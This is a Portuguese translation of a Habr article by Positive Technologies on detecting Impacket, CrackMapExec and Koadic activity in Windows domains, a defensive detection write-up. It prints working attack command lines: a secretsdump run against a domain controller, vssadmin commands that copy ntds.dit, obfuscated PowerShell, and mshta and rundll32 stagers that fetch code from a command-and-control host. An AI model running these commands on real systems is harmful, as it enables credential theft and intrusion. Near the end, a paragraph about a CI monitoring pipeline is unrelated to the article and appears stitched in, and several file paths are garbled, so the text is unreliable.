Como detectar ataques em infraestrutura Windows: explorando as ferramentas dos hackers

A cada ano, cresce o número de ataques no setor corporativo: por exemplo em 2017, foi registrado 13% a mais de incidentes únicos do que em 2016, e, ao final de 2018 — 27% a mais de incidentes, em comparação ao período anterior. Incluindo aqueles em que o principal instrumento de trabalho é o sistema operacional Windows. Nos anos de 2017 a 2018, os grupos APT Dragonfly, APT28, APT MuddyWater realizaram ataques a organizações governamentais e militares na Europa, América do Norte e Arábia Saudita. E utilizaram para isso três ferramentas — Impacket, CrackMapExec e Koadic. O código-fonte deles é aberto e está disponível no GitHub.

Vale ressaltar que essas ferramentas são utilizadas não para a invasão inicial, mas para o desenvolvimento do ataque dentro da infraestrutura. Os invasores as usam em diferentes estágios do ataque, que ocorrem após a superação do perímetro. Isso, por sinal, é difícil de detectar e muitas vezes só é possível com o uso de tecnologias para identificação de vestígios de comprometimento no tráfego de rede ou ferramentas que permitem detectar ações ativas dos invasores após a sua entrada na infraestrutura. As ferramentas oferecem diversas funções — desde a transferência de arquivos até a interação com o registro e a execução de comandos em uma máquina remota. Fizemos uma pesquisa sobre essas ferramentas para determinar sua atividade de rede.

O que precisávamos fazer:

• Entender como funciona o arsenal dos hackers. Descobrir o que os atacantes precisam para explorar e quais tecnologias podem utilizar.
• Encontrar o que não é detectado pelos sistemas de segurança da informação nas primeiras fases do ataque.A fase de reconhecimento pode ser ignorada, seja porque o atacante é um invasor interno, ou porque ele aproveita uma falha na infraestrutura que não era conhecida anteriormente. Surge a possibilidade de reconstruir toda a cadeia de suas ações, daí vem o desejo de descobrir os movimentos futuros.
• Eliminar falsos positivos dos sistemas de detecção de invasões. É importante lembrar também que ao detectar certas ações com base apenas em inteligência, podem ocorrer erros frequentes. Geralmente, existem muitos métodos na infraestrutura que, à primeira vista, são indistinguíveis de legítimos, para obter alguma informação.

O que essas ferramentas oferecem aos atacantes? Se estamos falando do Impacket, os criminosos ganham uma grande biblioteca de módulos que podem ser utilizados em diferentes estágios do ataque, após ultrapassar o perímetro. Muitas ferramentas incorporam módulos do Impacket em seu funcionamento — como o Metasploit. Nele, estão disponíveis dcomexec e wmiexec para execução remota de comandos, secretsdump para obter credenciais da memória, que foram adicionadas do Impacket. Portanto, uma identificação correta da atividade dessa biblioteca também garantirá a detecção de seus derivados.

Os criadores do CrackMapExec (ou simplesmente CME) não o chamaram de forma aleatória de "Powered by Impacket". Além disso, o CME possui funcionalidade pronta para cenários populares: inclui Mimikatz para obtenção de senhas ou seus hashes, a injeção do Meterpreter ou do agente Empire para execução remota, e Bloodhound embarcado.

A terceira ferramenta que escolhemos é o Koadic. Ele é relativamente novo, foi apresentado na conferência de hackers DEFCON 25 em 2017 e possui uma abordagem não convencional: opera através de HTTP, JavaScript e Microsoft Visual Basic Script (VBS). Essa abordagem é chamada de living off the land: a ferramenta utiliza um conjunto de dependências e bibliotecas integradas ao Windows. Os criadores o chamam de COM Command & Control, ou C3.

IMPACKET

A funcionalidade do Impacket é bastante extensa, começando pela inteligência dentro do AD e coleta de dados dos servidores internos MS SQL, até técnicas para obtenção de credenciais: isso inclui o ataque SMB relay e a obtenção do arquivo ntds.dit a partir do controlador de domínio, que contém hashes de senhas dos usuários. O Impacket também executa comandos remotamente, usando quatro métodos diferentes: através do WMI, um serviço para gerenciamento do agendador do Windows, DCOM e SMB, e para isso ele precisa de credenciais.

Secretsdump

Vamos a examinar o secretsdump. Este é um módulo que pode ter como alvo tanto máquinas de usuários quanto controladores de domínio. Com ele, é possível obter cópias das áreas de memória LSA, SAM, SECURITY, NTDS.dit, portanto pode ser visto em diferentes estágios do ataque. O primeiro passo na operação do módulo é a autenticação via SMB, para a qual é necessária a senha do usuário ou seu hash para a realização automática do ataque Pass the Hash. Em seguida, ocorre um pedido para abrir acesso ao Service Control Manager (SCM) e obter acesso ao registro via protocolo winreg, o que permite ao atacante consultar dados de ramos de interesse e obter resultados via SMB.

Na Fig. 1, vemos como acontece o acesso à chave do registro com LSA, usando o protocolo winreg. Para isso, utiliza-se o comando DCERPC com opcode 15 — OpenKey.

Fig. 1. Abertura de chave do registro pelo protocolo winreg

Em seguida, quando o acesso à chave é obtido, os valores são salvos com o comando SaveKey com opcode 20. O Impacket faz isso de maneira bastante específica. Ele salva os valores em um arquivo, cujo nome é composto por uma string de 8 caracteres aleatórios, seguida de .tmp. Além disso, a posterior extração desse arquivo ocorre via SMB a partir do diretório System32 (Fig. 2).

Fig. 2. Esquema de aquisição de chave de registro de uma máquina remota

Assim, é possível detectar tal atividade na rede por meio de consultas a ramos específicos do registro via protocolo winreg, nomes específicos, comandos e sua ordem.

Além disso, este módulo deixa rastros no log de eventos do Windows, que facilitam sua detecção. Por exemplo, como resultado da execução do comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

no log do Windows Server 2016 veremos a seguinte sequência de eventos:

1. 4624 — Logon remoto.
2. 5145 — verificação de permissões no serviço remoto winreg.
3. 5145 — verificação de permissões no arquivo no diretório System32. O arquivo tem um nome aleatório, como mencionado anteriormente.
4. 4688 — criação do processo cmd.exe, que executa o vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — criação do processo com o comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — criação de processo com o comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — criação de processo com o comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Como acontece com muitas ferramentas de pós-exploração, o Impacket possui módulos para execução remota de comandos. Vamos nos concentrar no smbexec, que fornece um shell de comando interativo na máquina remota. Esse módulo também requer autenticação via SMB, seja por senha ou seu hash. Na Fig. 3, vemos um exemplo de funcionamento dessa ferramenta, que no caso é o console do administrador local.

Fig. 3. Console interativo do smbexec

A primeira etapa do smbexec após a autenticação é abrir o SCM com o comando OpenSCManagerW (15). A solicitação é notável: nela, o campo MachineName tem o valor DUMMY.

Fig. 4. Solicitação para abrir o Service Control Manager

Em seguida, ocorre a criação do serviço usando o comando CreateServiceW (12). No caso do smbexec, podemos ver a mesma lógica sendo aplicada a cada vez. Na Fig. 5, os parâmetros imutáveis do comando estão marcados em verde, e os que o atacante pode modificar estão em amarelo. Não é difícil notar que o nome do arquivo executável, seu diretório e o arquivo de output podem ser alterados, mas mudar o restante é muito mais complicado sem quebrar a lógica de funcionamento do módulo Impacket.

Fig. 5. Solicitação para criar um serviço através do Service Control Manager

O smbexec também deixa vestígios claros no log de eventos do Windows. No log do Windows Server 2016 para o shell de comando interativo com o comando ipconfig, encontramos a seguinte sequência de eventos-chave:

1. 4697 — configuração de serviço na máquina da vítima:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — criação de processo cmd.exe com os argumentos do item 1.
3. 5145 — verificação de permissões de acesso ao arquivo __output no diretório C$.
4. 4697 — configuração de serviço na máquina da vítima.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — criação do processo cmd.exe com argumentos do item 4.
6. 5145 — verificação de permissões de acesso ao arquivo __output no diretório C$.

O Impacket é a base para o desenvolvimento de ferramentas de ataque. Ele suporta quase todos os protocolos na infraestrutura do Windows e possui suas características específicas. Aqui estão as solicitações winreg específicas, o uso da API SCM com uma formação de comandos característica, o formato dos nomes de arquivos e o compartilhamento SMB SYSTEM32.

CRACKMAPEXEC

A ferramenta CME visa, em primeiro lugar, automatizar as ações rotineiras que um atacante precisa realizar para se mover dentro da rede. Ela permite trabalhar em conjunto com os conhecidos agentes Empire e Meterpreter. Para executar comandos de forma discreta, o CME pode ofuscar esses comandos. Usando o Bloodhound (uma ferramenta separada para conduzir reconhecimento), o atacante pode automatizar a busca por sessões ativas de administrador de domínio.

Bloodhound

O Bloodhound, como uma ferramenta autônoma, permite realizar reconhecimento avançado dentro da rede. Ele coleta dados sobre usuários, máquinas, grupos, sessões e é entregue como um script em PowerShell ou arquivo binário. Para coleta de informações, são utilizados LDAP ou protocolos baseados em SMB. O módulo de integração CME permite carregar o Bloodhound na máquina da vítima, iniciá-lo e obter os dados coletados após a execução, automatizando assim as ações no sistema e tornando-as menos perceptíveis. A interface gráfica do Bloodhound apresenta os dados coletados na forma de gráficos, permitindo encontrar o caminho mais curto da máquina do atacante até o administrador de domínio.

Fig. 6. Interface do Bloodhound

Para iniciar na máquina da vítima, o módulo cria uma tarefa, usando ATSVC e SMB. O ATSVC é a interface para trabalhar com o agendador de tarefas do Windows. O CME utiliza sua função NetrJobAdd (1) para criar tarefas pela rede. Um exemplo do que o módulo CME envia é mostrado na fig. 7: é a chamada do comando cmd.exe e código ofuscado em forma de argumentos no formato XML.

Fig. 7. Criação de tarefa via CME

Depois que a tarefa é recebida para execução, a máquina da vítima inicia o próprio Bloodhound, e isso pode ser observado no tráfego. O módulo é caracterizado por solicitações LDAP para obter grupos padrão, uma lista de todas as máquinas e usuários no domínio, e para obter informações sobre sessões de usuários ativas através da solicitação SRVSVC NetSessEnum.

Fig. 8. Obtendo a lista de sessões ativas através do SMB

Além disso, executar o Bloodhound na máquina da vítima com auditoria ativada gera um evento com ID 4688 (criação de processo) e nome de processo "C:WindowsSystem32cmd.exe". O notável são os argumentos da linha de comando:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101, 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

O módulo enum_avproducts é bastante interessante em termos de funcionalidade e implementação. O WMI permite obter dados de vários objetos do Windows usando a linguagem de consultas WQL, e é exatamente isso que este módulo CME faz. Ele gera consultas para as classes AntiSpywareProduct e AntiМirusProduct sobre as ferramentas de segurança instaladas na máquina da vítima. Para obter os dados necessários, o módulo se conecta ao namespace rootSecurityCenter2, em seguida, forma uma consulta WQL e obtém a resposta. Na fig. 9 estão mostrados o conteúdo dessas consultas e respostas. No nosso exemplo, encontramos o Windows Defender.

Fig. 9. Atividade de rede do módulo enum_avproducts

Frequentemente, a auditoria WMI (Rastrear Atividade WMI), cujos eventos podem conter informações úteis sobre consultas WQL, pode estar desativada. Mas se estiver ativada, ao executar o script enum_avproducts, será registrado um evento com ID 11. Este evento conterá o nome do usuário que enviou a solicitação e o nome no namespace rootSecurityCenter2.

Cada um dos módulos CME possui seus próprios artefatos, seja em consultas WQL específicas ou na criação de algum tipo de tarefa no agendador de tarefas com ofuscação e a atividade característica do Bloodhound no LDAP e SMB.

KOADIC

Uma característica distintiva do Koadic é o uso de interpretadores JavaScript e VBScript incorporados no Windows. Nesse sentido, ele segue a tendência de viver off the land — ou seja, não possui dependências externas e utiliza os recursos padrão do Windows. Esta é uma ferramenta para um completo Command & Control (CnC), uma vez que, após a infecção, um "implante" é instalado na máquina, permitindo controlá-la. Tal máquina, na terminologia do Koadic, é chamada de "zumbi". Com privilégios insuficientes para operar plenamente do lado da vítima, o Koadic tem a capacidade de aumentá-los, utilizando técnicas de contorno de controle de contas (bypass UAC).

Fig. 10. Shell de comandos do Koadic

A vítima deve iniciar a comunicação com o servidor Command & Control por conta própria. Para isso, é necessário acessar um URI previamente preparado e obter o corpo principal do Koadic através de um dos stagers. A figura 11 mostra um exemplo de um stager mshta.

Fig. 11. Inicialização da sessão com o servidor CnC

A variável WS da resposta indica que a execução ocorre através do WScript.Shell, e as variáveis STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contêm informações cruciais sobre os parâmetros da sessão atual. Este é o primeiro par de solicitação-resposta na conexão HTTP com o servidor CnC. Solicitações subsequentes estão diretamente ligadas à funcionalidade dos módulos chamados (implantes). Todos os módulos do Koadic funcionam apenas com uma sessão ativa com o CnC.

Mimikatz

Assim como o CME trabalha com o Bloodhound, o Koadic trabalha com o Mimikatz como um programa separado e possui várias maneiras de iniciá-lo. Abaixo está um par de solicitações-respostas para o carregamento do implante Mimikatz.

Fig. 12. Transmissão do Mimikatz para o Koadic

Pode-se notar como o formato do URI mudou na solicitação. Agora contém um valor para a variável csrf, que corresponde ao módulo selecionado. Não se preocupe com seu nome; todos nós sabemos que CSRF geralmente se refere a outra coisa. A resposta trouxe o mesmo corpo principal do Koadic, ao qual foi adicionado um código relacionado ao Mimikatz. Ele é bastante extenso, então vamos analisar os pontos-chave. Diante de nós está uma biblioteca Mimikatz codificada em base64, uma classe .NET serializada que irá injetá-la, e os argumentos para executar o Mimikatz. O resultado da execução é transmitido pela rede em texto claro.

Fig. 13. Resultado da execução do Mimikatz na máquina remota

Exec_cmd

O Koadic também tem módulos capazes de executar comandos remotamente. Aqui veremos o mesmo método de geração de URI e as variáveis familiares sid e csrf. No caso do módulo exec_cmd, o corpo inclui um código que pode executar comandos shell. Abaixo está um exemplo desse código contido na resposta HTTP do servidor CnC.

Fig. 14. Código do implante exec_cmd

A variável GAWTUUGCFI, com o familiar atributo WS, é necessária para executar o código. Com ela, o implante chama o shell, tratando duas ramificações do código — shell.exec com retorno do fluxo de saída de dados e shell.run sem retorno.

O Koadic não é uma ferramenta típica, mas possui seus artefatos, que podem ser encontrados no tráfego legítimo:

• formulação especial de requisições HTTP,
• uso da API winHttpRequests,
• criação do objeto WScript.Shell através do ActiveXObject,
• um corpo executável grande.

A conexão inicial inicia o estagiário, permitindo detectar sua atividade através dos eventos do Windows. Para mshta, este evento 4688 indica a criação de um processo com o atributo de inicialização:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Durante a execução do Koadic, é possível ver outros eventos 4688 com atributos que o caracterizam bem:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Como resultado, obtemos um serviço de "monitoramento como serviço", automatizado na linha de produção de integração contínua. O desenvolvedor ou testador precisa apenas definir a lista de métricas em um arquivo JSON, e tudo o mais acontece automaticamente. Obtemos um controle de qualidade transparente dos lançamentos: todas as notificações sobre desempenho, consumo de recursos ou regressões arquitetônicas.

A tendência de viver da terra está se tornando popular entre os invasores. Eles utilizam ferramentas e mecanismos integrados ao Windows para seus próprios fins. Observamos que ferramentas populares como Koadic, CrackMapExec e Impacket, que seguem esse princípio, estão aparecendo com mais frequência em relatórios APT. O número de forks no GitHub dessas ferramentas também está aumentando, novas estão surgindo (atualmente há cerca de mil). A tendência ganha popularidade devido à sua simplicidade: os invasores não precisam de ferramentas de terceiros, pois elas já estão nas máquinas das vítimas e ajudam a contornar os meios de proteção. Estamos focados em estudar a interação de rede: cada ferramenta descrita acima deixa suas marcas no tráfego de rede; seu estudo detalhado nos permitiu ensinar nosso produto PT Network Attack Discovery a detectá-las, o que, por sua vez, ajuda a investigar toda a cadeia de incidentes cibernéticos envolvendo-as.

Autores:

• Anton Tyurin, chefe do departamento de serviços especializados, PT Expert Security Center, Positive Technologies
• Yegor Podmokov, especialista, PT Expert Security Center, Positive Technologies

Fonte: habr.com